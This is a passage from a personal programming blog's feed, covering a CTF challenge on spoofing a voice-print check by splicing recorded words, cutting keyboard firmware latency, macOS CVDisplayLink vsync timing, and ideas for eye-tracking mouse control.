&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ForceConfig&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;navs_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;navs_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;wins_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;wins_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;270&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;force&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;adamtune&quot;&gt;AdamTune&lt;/h2&gt;

&lt;p&gt;This challenge involved passing a “voice print” test where you submitted an MP3 file that was allegedly &lt;a href=&quot;https://adamdoupe.com/&quot;&gt;Adam Doupé&lt;/a&gt; reading a sentence.&lt;/p&gt;

&lt;p&gt;My teammates spent some time playing with training a text to speech model on a small hand-labeled dataset but that didn’t produce good enough results and at 4 hours till the end of the contest we agreed there’s no way it could work in time.&lt;/p&gt;

&lt;p&gt;By recording challenges from the demo server, I discovered that a vocabulary of about 209 words completely covered most challenges. So we decided to try a concatenative approach. My teammates downloaded the audio for a bunch of Adam’s talks and gave me cut up mono wav files. I fed these through the Google Speech To Text API and got word level timing information. I wrote a script that cut out wav files of individual words in the vocabulary from the transcript, a script that picked out the best instances of these words based on length and volume, and a script that strung together the best instances into sentences.&lt;/p&gt;

&lt;p&gt;However, the results sounded really bad. A lot of the words were said quickly or muttered or included bits of other words, the results ended up being really difficult to understand.&lt;/p&gt;

&lt;p&gt;I submitted it anyway and it actually passed the check that it said the right words, but failed the classifier that it was Adam. This was the opposite of what I expected, since it was Adam but didn’t sound like it was saying the sentence cleanly.&lt;/p&gt;

&lt;p&gt;Looking at the source after the contest, it seems the approach used in it is very similar except with the Watson speech API, which gives word-level confidences Google doesn’t, allowing better filtering, and also might give better timestamps for less choppy cutouts.&lt;/p&gt;

&lt;p&gt;My other guess for why we failed the classifier is that we used clips from Adam’s livestreams doing pwnables instead of from his CS lectures, these sound very different because of different microphones and styles of speaking. We chose the pwnables because the audio was higher quality, but if the classifier used only lectures then that could easily explain why we failed the classifier.&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Fixing My Keyboard's Latency</title>
   <link href="https://thume.ca/2017/12/29/fixing-my-keyboards-latency/"/>
   <updated>2017-12-29T00:00:00+00:00</updated>
   <id>https://thume.ca/2017/12/29/fixing-my-keyboards-latency</id>
   <content type="html">
&lt;p&gt;While discussing &lt;a href=&quot;https://danluu.com/keyboard-latency/&quot;&gt;Dan Luu’s keyboard latency experiments&lt;/a&gt; I realized that I had never tested my keyboard’s latency. I use &lt;a href=&quot;http://thume.ca/2014/09/08/creating-a-keyboard-1-hardware/&quot;&gt;a custom keyboard I designed and built&lt;/a&gt;, but when I wrote the firmware I was focused on getting it working and didn’t pay any attention to latency. When I took a look at the source code and immediately saw a 10ms delay that was there for no other reason than paranoia, I knew I was in for some fun.&lt;/p&gt;

&lt;p&gt;After a bunch of measuring, finding and squashing sources of latency, I managed to improve the latency of the main loop from 30 &lt;em&gt;milliseconds&lt;/em&gt; to 700 &lt;em&gt;microseconds&lt;/em&gt;. I then added a feature that changed the colour of the keyboard’s RGB LEDs on every key press so that I could use the &lt;a href=&quot;http://isitsnappy.com/&quot;&gt;Is It Snappy&lt;/a&gt; app with my iPhone’s high speed camera mode to do some latency testing.&lt;/p&gt;

&lt;p&gt;The first thing I found was that with my improved firmware the end to end latency of typing a character in Sublime Text and XCode 9 near the top of my Macbook display is around 42ms&lt;sup id=&quot;fnref:fps&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:fps&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. This is pretty good, but the astonishing thing is that it means that before I fixed the firmware &lt;strong&gt;my keyboard used to account for almost &lt;em&gt;half&lt;/em&gt; of my end-to-end typing latency&lt;/strong&gt;. This is measuring from the LED colour change so it doesn’t count the around 15ms&lt;sup id=&quot;fnref:fps:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:fps&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; according to my testing from starting to press one of my keys the switch activating.&lt;/p&gt;

&lt;center&gt;
  &lt;video width=&quot;360&quot; height=&quot;640&quot; muted=&quot;&quot; loop=&quot;&quot; autoplay=&quot;&quot;&gt;
    &lt;source src=&quot;/assets/postassets/keyboardlatency/latency.mov&quot; type=&quot;video/mp4&quot; /&gt;
  &lt;/video&gt;
&lt;/center&gt;

&lt;p&gt;I also tested my Macbook keyboard, as well as a few older low speed USB Apple keyboards, and found that they had around 67ms&lt;sup id=&quot;fnref:fps:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:fps&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; of end-to-end latency, measuring from when the switch was fully depressed while hitting the key as fast as I could. I suspect part of the reason for this is that these keyboards only poll at 8ms and 10ms intervals according to USB Prober (an old Apple dev tool), whereas the &lt;a href=&quot;https://www.pjrc.com/store/teensy32.html&quot;&gt;Teensy&lt;/a&gt; in my custom keyboard polls every millisecond. According to Dan’s post newer Apple external keyboards also poll at 1000hz.&lt;/p&gt;

&lt;p&gt;Note that the 700us main loop doesn’t translate into 700us switch-to-USB latency, since the USB transfer is done asynchronously via DMA by the &lt;a href=&quot;https://www.pjrc.com/store/teensy32.html&quot;&gt;Teensy&lt;/a&gt;’s USB controller when it is polled, which happens at 1000hz.&lt;/p&gt;

&lt;p&gt;It’s interesting that I used my keyboard for 3 years without noticing that it added 30ms of latency. I have a few guesses why:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Although I can perceive 30ms of latency in a comparison test, I have to pay attention, my keyboard having 30ms of extra latency just made it feel different, but that’s unsurprising since it was different in a bunch of ways.&lt;/li&gt;
  &lt;li&gt;My only comparison was other high-latency keyboards, like my Macbook’s. 30ms of latency difference is more perceptiple than 5-10ms.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Anyhow here’s how I managed to bring the latency down from 30ms to 700us:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I added some measurement code that printed the time spent in the main loop to the Serial console after every key press. This gave me the 30ms figure.&lt;/li&gt;
  &lt;li&gt;I removed the 10ms delay in the main loop, and everything still worked.&lt;/li&gt;
  &lt;li&gt;I searched for other delays and found one 2ms one between enabling a row for scanning and reading it, which I removed with no apparent consequences. I added back in a 2 microsecond delay just in case.&lt;/li&gt;
  &lt;li&gt;I had tried to make the display on my keyboard only update when it changed, but I messed this up somewhere else and it was taking 5ms to update on every key press.&lt;/li&gt;
  &lt;li&gt;The right half of my keyboard is scanned using an I/O expander over i2c since I didn’t have enough pins on the Teensy. This is the same way the two halves of the &lt;a href=&quot;https://www.ergodox.io/&quot;&gt;Ergodox&lt;/a&gt; work. Based on some Ergodox firmware I saw, I reinitialized the direction registers of the I/O expander before every scan, just in case. Unfortunately this added 2ms and wasn’t really necessary since unlike the Ergodox you can’t disconnect the second half of my keyboard with a cable.&lt;/li&gt;
  &lt;li&gt;Now my loop was taking 3.8ms which was almost entirely the i2c communication with the I/O expander. A friend recommended I check out &lt;a href=&quot;https://github.com/nox771/i2c_t3&quot;&gt;nox771’s fast i2c library&lt;/a&gt;. Unfortunately, it wouldn’t compile on the super old version of the Arduino/Teensyduino software I was using. I decided to upgrade, and after several hours in C++ compilation hell and accounting for a few changes, it worked. I bumped the i2c frequency up to 1.8 megahertz and now my loops took 700us!&lt;/li&gt;
  &lt;li&gt;Now I started running into bouncing problems that lead to the occasionally doubled letter, so I needed to implement debouncing. Some ways of implementing debouncing add latency but that’s totally unnecessary. &lt;a href=&quot;https://github.com/trishume/PolyType/commit/372c2056d705211fb5554a6975eeca34b59f0bc8&quot;&gt;I implemented&lt;/a&gt; a simple technique that sends transitions immediately and then doesn’t update a key for 5ms after.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The specifics are only relevant to other people building keyboard firmware, especially the fast i2c one which I don’t think most ErgoDox firmwares use. But I think it’s interesting to see how easy it was to improve the latency of software that wasn’t designed for it with only a few hours work.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:fps&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;I use an iPhone 5S, which can only record at 120fps, so while these numbers are consistent over multiple measurements, they may be off by as much as 8ms. &lt;a href=&quot;#fnref:fps&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt; &lt;a href=&quot;#fnref:fps:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#fnref:fps:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>CVDisplayLink Doesn't Link To Your Display</title>
   <link href="https://thume.ca/2017/12/09/cvdisplaylink-doesnt-link-to-your-display/"/>
   <updated>2017-12-09T00:00:00+00:00</updated>
   <id>https://thume.ca/2017/12/09/cvdisplaylink-doesnt-link-to-your-display</id>
   <content type="html">
&lt;p&gt;&lt;strong&gt;Edit 2017/12/10:&lt;/strong&gt; So I screwed up, I thought I was safe confirming it in two different ways but I was using an external monitor and all of the below is accurate only for a specific multi-monitor case. Skip to the bottom to read about my new results.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; is the recommended way to synchronize your drawing/animation with the refresh of the display on macOS. Many people assume it calls your app just after each display vsync event, unfortunately this isn’t the case at all. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; just fetches the refresh rate of your display, and sets a high resolution timer to call you every 16.6ms (for a 60hz display).&lt;/p&gt;

&lt;p&gt;The major reason this is important is if your app has inconsistent rendering times and you get unlucky with the phase of your events, you’ll end up painting twice in some frames and zero times in others, leading to visible dropped frames in your animations. &lt;a href=&quot;https://twitter.com/jordwalke/status/939064408986103808&quot;&gt;As illustrated by @jordwalke on Twitter&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/jordwalke/status/939064408986103808&quot;&gt;&lt;img src=&quot;/assets/postassets/displaylink/timing.jpeg&quot; alt=&quot;Timing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is particularly insidious because depending on how variable your draw times are, a lot of the time you’ll end up with consistent drawing, but every N runs it will be really bad. Even worse, your FPS measurements will still show 60fps because you’re still drawing every 16.6ms.&lt;/p&gt;

&lt;p&gt;Also, if you’re using this for a game loop where you only process input at the start of every frame, you could have close to an entire extra frame of latency if you’re unlucky at startup.&lt;/p&gt;

&lt;p&gt;“But it’s a special thing that has ‘display’ and ‘link’ right in the name, surely it must link up to the display vsync events!” you might say. That’s what I thought too until I talked to &lt;a href=&quot;https://twitter.com/pcwalton&quot;&gt;@pcwalton&lt;/a&gt; at a Rust meetup and he said he’d disassembled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; and found it was just a timer. This was astonishing to me and I sat on this information somewhat skeptical for a while. But, today I finally got around to doing a bunch of investigation and found that he’s right and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; does not link to the vsync.&lt;/p&gt;

&lt;p&gt;First, I disassembled the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CoreVideo&lt;/code&gt; framework where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; resides and found a bunch of code that fetches the display rate, calculates how often the timer should be triggered and waits on a timer. I didn’t find any code that looked for vsync events.&lt;/p&gt;

&lt;p&gt;Next, I did some experiments, because I might have missed some hidden synchronization. I used &lt;a href=&quot;https://github.com/KrisYu/Water&quot;&gt;Kris Yu’s Water&lt;/a&gt; Metal sample app since that’s sadly the only macOS Metal sample code I could find that built for me. I then disassembled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MTKView&lt;/code&gt; and confirmed that as I suspected it just uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; to call your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw&lt;/code&gt; method. Then I added &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kdebug_signpost&lt;/code&gt; calls in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw&lt;/code&gt; method so that I could use Instrument’s “Points of Interest” trace combined with the new display vsync information to see how they line up.&lt;/p&gt;

&lt;p&gt;What I found is that as one would expect with a timer, within each run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw&lt;/code&gt; call happens at a consistent time within the frame, but between different runs the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw&lt;/code&gt; call happens at completely different times depending on the phase the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; starts up in relation to the display vsync.&lt;/p&gt;

&lt;p&gt;Here’s some screenshots of different runs in Instruments. The red boxes on the bottom are the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw&lt;/code&gt; call, and the vsync display intervals are clearly visible as lining up very differently each run:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/displaylink/traces.png&quot;&gt;&lt;img src=&quot;/assets/postassets/displaylink/traces.png&quot; alt=&quot;Display Traces&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, the real question is, what do you do if you want actual vsync alignment? I actually don’t know, I haven’t done enough research yet, but I have some ideas that may or may not work:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I think Cocoa animation or Core Animation draw callbacks may actually be linked to display vsync, in which case you can use those. I’m not sure though.&lt;/li&gt;
  &lt;li&gt;OpenGL vsync might synchronize with the real vsync.&lt;/li&gt;
  &lt;li&gt;Somehow Instruments gets at the real vsync times, they might come from a private API, but it also might be something public.&lt;/li&gt;
  &lt;li&gt;There may be some other API I don’t know about.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note that I haven’t tested &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CADisplayLink&lt;/code&gt; on IOS, but I’ve heard it works properly. Anyway, if you know anything about this issue or how to do things properly, email me at &lt;a href=&quot;mailto:tristan@thume.ca&quot;&gt;tristan@thume.ca&lt;/a&gt;! I may update this post if I learn anything new.&lt;/p&gt;

&lt;h3 id=&quot;edit-20171210-i-was-wrong-sorry&quot;&gt;Edit 2017/12/10: I was wrong, sorry&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/ametis_/status/939739328397295617&quot;&gt;@ametis_&lt;/a&gt; on Twitter noted that the internal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVCGDisplayLink::getDisplayTimes&lt;/code&gt; method actually accesses a pointer to a &lt;a href=&quot;https://opensource.apple.com/source/IOGraphics/IOGraphics-517.17/IOGraphicsFamily/IOKit/graphics/IOFramebufferShared.h.auto.html&quot;&gt;StdFBShmem_t&lt;/a&gt;. I poked around some more and confirmed that the shared memory for this is indeed mapped in in the initializer. I figured I might miss something like this, hence why I did the experiments. This shared memory contains real vsync times, and is apparently a way to get real vsync information from the Kernel. See &lt;a href=&quot;https://stackoverflow.com/questions/2433207/different-cursor-formats-in-ioframebuffershared&quot;&gt;this StackOverflow post&lt;/a&gt; for an example of code that maps it in. The question is, why do my experiments show that it still doesn’t line up with vsync?&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MTKView&lt;/code&gt; I was testing with uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLinkCreateWithActiveCGDisplays&lt;/code&gt; which if you have multiple displays creates a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; “capable of being used with all active displays”, i.e it doesn’t use vsync. I was using an external monitor for my tests, there’s nothing on my laptop display but I leave it open because there’s a hardware issue where it messes with my trackpad if I close it. In this case a smarter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; could handle this case fine by realizing that only one of my displays was updating at the time, but it turns out it falls back to a timer.&lt;/p&gt;

&lt;p&gt;I re-did my experiments in Instruments on my laptop display and found that it consistently fired the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;draw&lt;/code&gt; call half-way into the frame, about 7ms from the next vsync. I don’t know why it does it in the middle rather than the start, but at least it was consistent across 6 runs.&lt;/p&gt;

&lt;p&gt;So, basically this article is mostly wrong, provided you only have one display. You still have to worry about jank due to inconsistent frame times on a single monitor if you don’t have GL/Metal vsync enabled and your frames jitter around 7ms though. And if you want events near the start of vsync you may still have a difficult task ahead of you.&lt;/p&gt;

&lt;p&gt;It’s probably even possible to get the correct events in a multi-monitor case, but you need some fancy code that watches which screen your monitor is on, and constructs a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; with just that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CGDisplay&lt;/code&gt; when the window moves.&lt;/p&gt;

&lt;p&gt;Interestingly, &lt;a href=&quot;https://twitter.com/ametis_/status/939739328397295617&quot;&gt;@ametis_&lt;/a&gt;’s account was created just for that tweet, and figuring out that it uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;StdFBShmem_t&lt;/code&gt; without a hint would have required way way better reversing skills than mine to trace the instance variable back to the init method through a bunch of offsets to a memory mapping of an opaque code, which they would have had to figure out is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kIOFBSharedConnectType&lt;/code&gt; and look at that struct to find it contains the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vblTime&lt;/code&gt; field. Either they’re really good at reverse engineering, or they’re an Apple engineer with access to the source code who looked into it after seeing my article. Regardless I’m happy they set me straight!&lt;/p&gt;

&lt;p&gt;Thanks to other commenters on Hacker News and Twitter have pointed out a few things that I should add here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Someone on HN notes that the Apple docs don’t promise that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVDisplayLink&lt;/code&gt; gives you refresh times. I had noticed this but didn’t include it in my article, but I treated it as further evidence for my results though. Ooops, turns out it does sometimes, just not always.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/jordwalke&quot;&gt;@jordwalke&lt;/a&gt; linked me to &lt;a href=&quot;https://www.gamasutra.com/blogs/KwasiMensah/20110211/88949/Game_Loops_on_IOS.php&quot;&gt;this article&lt;/a&gt; that explains how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CADisplayLink&lt;/code&gt; works on IOS.&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Eye Tracking Mouse Control Ideas</title>
   <link href="https://thume.ca/2017/11/10/eye-tracking-mouse-control-ideas/"/>
   <updated>2017-11-10T00:00:00+00:00</updated>
   <id>https://thume.ca/2017/11/10/eye-tracking-mouse-control-ideas</id>
   <content type="html">
&lt;p&gt;This is a list of ideas for using eye tracking as a mouse replacement, specifically solving the problem that eye tracking often isn’t quite accurate enough to use raw. There’s lots of targets on a normal computer that are just too small for even the best fingertip-size eyetracker accuracies, like selecting individual characters, or small buttons. For some people, like me, eye trackers tend just not to work too well and only are accurate within maybe a 4 cm diameter, much too large to specify most targets.&lt;/p&gt;

&lt;p&gt;There’s also reason to suspect that this situation won’t improve. People have been working on eye tracking for years and accuracy is still bad. A few papers I’ve read have said that in fact the muscles that point the eyes may even not be accurate enough to point as precisely as a mouse, and even if they can that fixating gaze precisely leads to eye fatigue quite quickly.&lt;/p&gt;

&lt;p&gt;Why would you want to replace the mouse with an eye-tracking based solution?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Disabilities&lt;/li&gt;
  &lt;li&gt;Repetitive Stress Injuries: There’s lots of approaches to addressing RSIs, but it’s also a much larger market.&lt;/li&gt;
  &lt;li&gt;People who don’t want to take their hands off the keyboard: Programmers go to crazy lengths to learn shortcuts to avoid reaching for the mouse, if there was a fast system of hands-free mousing, some may like it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’m writing this list for two reasons:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;So that I can get the WaybackMachine to archive it to have evidence of prior art in case anybody tries to patent these. I try to explore as much of the space of possible ideas people could try patenting as possible. Of course, it’s possible one or more of these already falls under some patent, because there’s patents on a lot of obvious ideas, but I don’t know of any.&lt;/li&gt;
  &lt;li&gt;As a survey of the possibilities, to look at what’s possible and possibly inspire someone to try something out. Eye tracking has such potential, but is sadly rarely used outside of research.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Before proceeding I’d like to emphasize that &lt;strong&gt;not all these ideas are good&lt;/strong&gt;, many wouldn’t be that nice to use or would have other issues, I aimed much more for breadth in creating this list than depth.&lt;/p&gt;

&lt;p&gt;There’s three broad categories to these ideas:&lt;/p&gt;

&lt;h2 id=&quot;combining-with-another-input-method&quot;&gt;Combining with another input method&lt;/h2&gt;

&lt;p&gt;There’s a lot of alternative mousing methods that work but are quite slow. But, if you use eye tracking for coarse but fast narrowing of position, and then another technique for refinement, they can be quite efficient.&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;&lt;a href=&quot;https://github.com/trishume/PolyMouse&quot;&gt;Polymouse&lt;/a&gt;&lt;/dt&gt;
  &lt;dd&gt;Using head tracking for refinement and eye tracking for large movements, you can achieve speeds equal to a good trackpad and approaching a normal mouse. This is the main technique I’ve put effort into and was the focus of my research at the Waterloo HCI lab. I use a version of the “Animated MAGIC” technique to quickly move the mouse cursor along the path to the target based on eye tracking. I’m currently working towards making this technique available in a low-cost and convenient system for daily use.&lt;/dd&gt;
  &lt;dt&gt;Combining with a mouse&lt;/dt&gt;
  &lt;dd&gt;This just allows you to use less mouse movement. This is built into Tobii’s consumer software.&lt;/dd&gt;
  &lt;dt&gt;Combining with voice&lt;/dt&gt;
  &lt;dd&gt;There’s a lot of things on a screen to click, and it’s hard to describe them, but given a small region from eye tracking, you can use OCR or accessibility APIs to find interactible things near the gaze and disambiguate what to do via voice. For example “click find” when looking near the “Find file” button on Github.&lt;/dd&gt;
  &lt;dt&gt;Combining with a keyboard&lt;/dt&gt;
  &lt;dd&gt;Within a region around the eye, you could offer a number of options for things to interact with, presented as letters or colours overlayed on the screen, and then use different keyboard keys to select which one was the true target. The places to put the markers could be done via a pattern, machine learning, text recognition or an accessibility API. Similar to &lt;a href=&quot;https://github.com/trishume/mjolnir.th.hints&quot;&gt;this&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;Combining with button timing&lt;/dt&gt;
  &lt;dd&gt;When the click button is pressed, instead of emitting a click event it could start move the cursor in for example a grid or spiral pattern around the gaze location, and when the user releases it clicks in that location. This could also be combined with likely target data, see the next section. This would be slow but doesn’t require extra hardware, it uses timing information as the additional source.&lt;/dd&gt;
  &lt;dt&gt;Face Gestures&lt;/dt&gt;
  &lt;dd&gt;Camera data could be fed into a face tracking algorithm and face gestures could be used to refine the cursor position. For example moving the lips around like a joystick, or twitching cheeks to nudge left and right. Most eye trackers are actually just IR cameras so this may not even require a separate camera.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h2 id=&quot;predicting-the-target&quot;&gt;Predicting the target&lt;/h2&gt;

&lt;p&gt;When you have eye tracking data that is fairly good but not perfect, the effective accuracy can be improved by guessing good targets within the gaze region.&lt;/p&gt;

&lt;p&gt;Good targets can be things like buttons, words to select, and other UI controls. Even when some place is interactible, it may make sense to choose a better target anyway, for example preferring selecting entire words rather than characters within a word, and the right side of a tab targetting the close button and the left side targetting clicking the tab.&lt;/p&gt;

&lt;p&gt;Given a source of information about likely targets, there’s various things you can do with the information:&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;Snapping&lt;/dt&gt;
  &lt;dd&gt;The gaze cursor or clicks snap to the nearest likely target. Possibly with snappiness determined by a measure of likelihood of clicking the target.&lt;/dd&gt;
  &lt;dt&gt;Draw the cursor towards it&lt;/dt&gt;
  &lt;dd&gt;This is basically a softer form of snapping. It could be like gravity, or fancier. For example modelling the gaze data as a probability distribution over true targets, and target information as a prior distribution, and then using Bayesian calculations to find the maximum likelihood target. I think I prefer the simpler and more consistent idea of snapping though.&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;There’s a few ways I can think of getting the target information, a system could use either one or many of these:&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;Use accessibility APIs&lt;/dt&gt;
  &lt;dd&gt;Accessibility APIs can tell you the pixel location of buttons, text and other likely targets.&lt;/dd&gt;
  &lt;dt&gt;Likelihood Neural Net&lt;/dt&gt;
  &lt;dd&gt;Use machine learning (probably a CNN) to train a model that given a screenshot, predicts a likelihood distribution (think heatmap) of click targets. It could be trained on data from recording a screenshot and the mouse position on every click during normal computer use.&lt;/dd&gt;
  &lt;dt&gt;Prediction Neural Net&lt;/dt&gt;
  &lt;dd&gt;Similar to the above, but using Gaze data. A model would be trained on the gaze location and screen contents to predict the true mouse click target. One way to do this would be to feed the net patches of the screen centered on the gaze target. Training data would be gathered by saving data from every click and training on the true click position.&lt;/dd&gt;
  &lt;dt&gt;Classical Computer Vision&lt;/dt&gt;
  &lt;dd&gt;There’s a number of possible computer vision techniques that could be used to identify targets without machine learning. For text anything from full OCR to algorithms that detect where text is without recognizing it (like in my &lt;a href=&quot;https://github.com/trishume/KeySelect&quot;&gt;KeySelect&lt;/a&gt; demo). Buttons also often have text, but controls could also be recognized using image patches recognized from previous clicks. You could even use heuristics like “coloured things” or “visually complex things”.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h2 id=&quot;disambiguate-with-just-gaze&quot;&gt;Disambiguate with just gaze&lt;/h2&gt;

&lt;p&gt;It’s also possible to disambiguate targets with gaze alone, but this generally requires modifying or overlaying on the screen targets to manipulate the gaze.&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;Magnifying&lt;/dt&gt;
  &lt;dd&gt;The simplest one is just magnifying the error around the gaze, either continuously or on dwell. This allows the user to refine their gaze on larger targets. The magnification can be either a rectangle or something fancier like a fisheye.&lt;/dd&gt;
  &lt;dt&gt;Moving Markers&lt;/dt&gt;
  &lt;dd&gt;Similar to keyboard disambiguation, overlay likely targets with a marker that moves around in some pattern. Check if the gaze data is following one of the patterns. This works because eye trackers are better at detecting direction and timing of motion than absolute position. See the &lt;a href=&quot;https://www.youtube.com/watch?v=x6hbicxEFbg&quot;&gt;Orbits paper&lt;/a&gt; for an example of this kind of system.&lt;/dd&gt;
  &lt;dt&gt;Moving Distortion&lt;/dt&gt;
  &lt;dd&gt;Similar to the previous except instead of markers, distort the screen are around the gaze in a moving pattern where different parts move in different patterns. Then the user just follows what they want to click with their gaze.&lt;/dd&gt;
  &lt;dt&gt;Eye Gestures&lt;/dt&gt;
  &lt;dd&gt;Extra eye movements could be used to refine the position. For example darting the eyes in a position could nudge the cursor in that direction relative to where it was before the dart. Or winking an eye could move it left or right a small amount.&lt;/dd&gt;
&lt;/dl&gt;

&lt;h2 id=&quot;how-to-click&quot;&gt;How to click&lt;/h2&gt;

&lt;p&gt;Clicking is a separate issue, but there’s also lots of possibilities here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Using a button: This could be a normal mouse or any other button.&lt;/li&gt;
  &lt;li&gt;A foot pedal&lt;/li&gt;
